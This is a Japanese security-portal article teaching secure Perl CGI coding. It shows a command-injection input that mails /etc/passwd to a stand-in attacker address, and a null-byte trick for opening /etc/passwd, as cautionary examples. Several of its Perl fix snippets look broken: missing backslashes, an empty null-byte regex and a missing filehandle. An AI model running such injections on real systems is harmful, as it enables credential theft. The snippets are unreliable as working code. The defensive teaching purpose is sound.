【Webアプリケーションのセキュリティ 6】〜 Perlによるcgiセキュアプログラミング 〜 | ScanNetSecurity[国内最大級のサイバーセキュリティ専門ポータルサイト]
2017.11.23(木)

【Webアプリケーションのセキュリティ 6】〜 Perlによるcgiセキュアプログラミング 〜

特集 特集

 この「Webアプリケーションのセキュリティ」の連載では、ここまでポリシーや概念的な話が多かったが、今回は気分を変えて技術的な話をしよう。Webアプリケーションの最も簡便なソリューションとしてよく用いられる、Perlによるcgi作成時の、セキュアコーディングについて説明する。

 cgiは言うまでもなく、不特定多数のユーザからの入力を受け付ける。ユーザからの入力内容が悪意あるものである可能性は低くなく、その最も大きな脅威はサーバへの侵入や、任意のコマンド実行などである。Perlによるcgiプログラミングにおいて、この脅威に対する防御策は、ユーザ入力された内容のチェック、いわゆる「汚染チェック」が必要である。今回はユーザからの入力がどのように汚染されている(悪意ある内容になっている)可能性があるかを説明する。

 ユーザ入力されたキーワードを $user_input に格納し、これを元に、

open GREP, "/usr/bin/grep $user_input /path/to/data/file |";

というコマンドを実行したい時に、$user_inputの汚染チェックを怠っていれば、'; mail cracker@example.com < /etc/passwd;'; という値が入力されてしまうかも知れない[1]。このとき、コマンドの内容は

open GREP, "/usr/bin/grep '; mail cracker@example.com < /etc/passwd;'; /path/to/data/file |";

となってしまい、パスワードファイルが悪意ある人物にメール送信されてしまう。メタキャラクタはエスケープされなければならない。

s/([&;`'\|"*?~<>^()[]{}$])/\$1/g;

 いくつかの文字列からユーザに選択させて、その文字列を含んだファイル名のデータベースファイルを開き表示させようと、

# parse $user_input
$database="$user_input.db";
open(FILE "<$database");
while () {
print;
}

とした場合どのような危険性があるだろうか。ユーザ入力として、
/etc/passwd

という文字列が送られてきた場合、この文字列に.dbを付け加えても、ファイルをオープンするときには、ヌル文字である以降は認識されないため、/etc/passwd がopenされ、その内容が表示されてしまうことになる。この対策としては、
$user_input=~s///g;

のようにして、ヌル文字を消去しなければならない。


office
office@ukky.net
http://www.office.ac/

[1] http://www.ipa.go.jp/security/awareness/vendor/programming/a01_01_main.html

(詳しくはScan本誌をご覧ください)
http://shop.vagabond.co.jp/m-ssw01.shtml
《ScanNetSecurity》

Scan PREMIUM 会員限定記事

もっと見る

Scan PREMIUM 会員限定記事特集をもっと見る

Scan BASIC 会員限定記事

もっと見る

Scan BASIC 会員限定記事特集をもっと見る

[Web小説] サイバー探偵 工藤伸治の事件簿サーガ (シーズン 1~6 第1話)

もっと見る

[Web小説] サイバー探偵 工藤伸治の事件簿サーガ (シーズン 1~6 第1話)特集をもっと見る

カテゴリ別新着記事

特集 カテゴリの人気記事 MONTHLY ランキング

  1. ここが変だよ日本のセキュリティ 第30回「ダメンズ・オーディット! 上場企業なら避けて通れない監査対応に監査感激!」

    ここが変だよ日本のセキュリティ 第30回「ダメンズ・オーディット! 上場企業なら避けて通れない監査対応に監査感激!」

  2. グローバルで活躍するプロフェッショナル - EYのサイバーセキュリティ部隊に仕事とキャリアを聞く

    グローバルで活躍するプロフェッショナル - EYのサイバーセキュリティ部隊に仕事とキャリアを聞く

  3. クラウドセキュリティ認証「ISO 27017」「ISO 27018」の違いとは? ~クラウドのよさを活かす認証コンサル LRM 社 幸松 哲也 社長に聞く

    クラウドセキュリティ認証「ISO 27017」「ISO 27018」の違いとは? ~クラウドのよさを活かす認証コンサル LRM 社 幸松 哲也 社長に聞く

  4. 工藤伸治のセキュリティ事件簿 シーズン 7 「アリバイの通信密室」 第8回 「はした金」

  5. [対談] 人工知能は重要経営課題となったサイバーリスクに対抗できるか

  6. 工藤伸治のセキュリティ事件簿 シーズン 7 「アリバイの通信密室」 第9回「勤怠簿」

  7. マンガで実感 !! サイバーセキュリティ 第1話「静かなる目撃者」

  8. 工藤伸治のセキュリティ事件簿 シーズン6 「誤算」 第1回「プロローグ:七月十日 夕方 犯人」

  9. ISMS認証とは何か■第1回■

  10. 工藤伸治のセキュリティ事件簿 シーズン 7 「アリバイの通信密室」 第1回 「プロローグ:身代金再び」

全カテゴリランキング

★★Scan PREMIUM 会員限定コンテンツにフルアクセスが可能となります★★
<b>★★Scan PREMIUM 会員限定コンテンツにフルアクセスが可能となります★★</b>

経営課題としてサイバーセキュリティに取り組む情報システム部門や、研究・開発・経営企画に携わる方へ向けた、創刊19年のセキュリティ情報サービス Scan PREMIUM を、貴社の事業リスク低減のためにご活用ください。

×